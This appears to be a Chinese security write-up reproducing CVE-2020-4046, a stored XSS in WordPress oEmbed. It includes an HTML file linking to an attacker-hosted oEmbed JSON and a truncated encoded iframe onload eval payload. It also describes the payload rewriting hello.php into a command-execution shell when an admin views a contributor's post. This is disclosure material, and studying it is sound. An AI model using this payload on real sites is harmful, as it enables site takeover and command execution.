menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-4046)WordPress 5.3.4 储型XSS chevron_right (CVE-2020-4046)WordPress 5.3.4 储型XSS.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-4046)WordPress 5.3.4 储型XSS.md
    2.66 KB / 2021-07-15 20:10:49
        (CVE-2020-4046)WordPress 5.3.4 储型XSS
    ========================================
    
    一、漏洞简介
    ------------
    
    该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。
    
    二、漏洞影响
    ------------
    
    WordPress
    5.3.4版本,5.2.7版本,5.1.6版本,5.0.10版本,4.9.15版本,4.8.14版本,4.7.18,
    4.6.19版本,4.5.22版本,4.4.23版本,4.3.24版本,4.2.28版本,4.1.31版本,4.0.31版本,3.9.32版本,3.8.34版本,3.7.34版本。
    
    三、复现过程
    ------------
    
    要利用该漏洞,攻击者需要在其自身的web服务器上托管两个文件(这些文件的内容将在后面显示)。为使漏洞利用正常进行,被攻击的目标服务器必须能访问攻击者web服务器以下载payload。虽然WordPress有健全的外部资源引用控制机制,但是此类安全设置将会阻止WordPress嵌入其它正常的URL,因此实际场景中开启此安全设置是比较少见的。我们基于`@g0blinResearch`师傅的文章生成payload。然后将payload中插件地址修改为`hello.php`(也就是`/wp-content/plugins/hello.php`),该插件为WordPress默认插件且可以访问,同时进行了其他一些小的改动。该payload使用`https://eve.gd/2007/05/23/string-fromcharcode-encoder/`在线工具进行编码,以避免各种转义问题。在此演示中,对应的`payload.htm`如下:
    
        <HTML>
                <HEAD>
                        <LINK type="application/json+oembed" href="http://attackbox1.pentest.co.uk/payload.json">
                </HEAD>
        </HTML>
    
    `payload.json`部分如下,(没有给出完整的利用代码是为了避免漏洞在未修复前被恶意利用):
    
        {
                "type":"rich",
                "html":"<blockquote><iframe title=' width=\"'></iframe></blockquote><iframe src='noexist' title='xxx' 
                 height=' title=' width=\"'' onload='eval(String.fromCharCode(118,97,114,…))'\"></iframe>"
        }
    
    现在,我们用至少具有`贡献者`权限的账户登录目标站点,随后创建一个帖子以嵌入我们payload:
    
    ![1.png](./resource/(CVE-2020-4046)WordPress5.3.4储型XSS/media/rId24.png)
    
    管理员随后查看帖子时:
    
    ![2.png](./resource/(CVE-2020-4046)WordPress5.3.4储型XSS/media/rId25.png)![3.png](./resource/(CVE-2020-4046)WordPress5.3.4储型XSS/media/rId26.png)
    
    我们的payload已执行,并且对应`/wp-content/plugins/hello.php`文件被编辑成允许我们执行任意系统命令:
    
    ![4.png](./resource/(CVE-2020-4046)WordPress5.3.4储型XSS/media/rId27.png)
    
    参考链接
    --------
    
    > https://xz.aliyun.com/t/7929
    >
    > https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/
    
    
    links
    file_download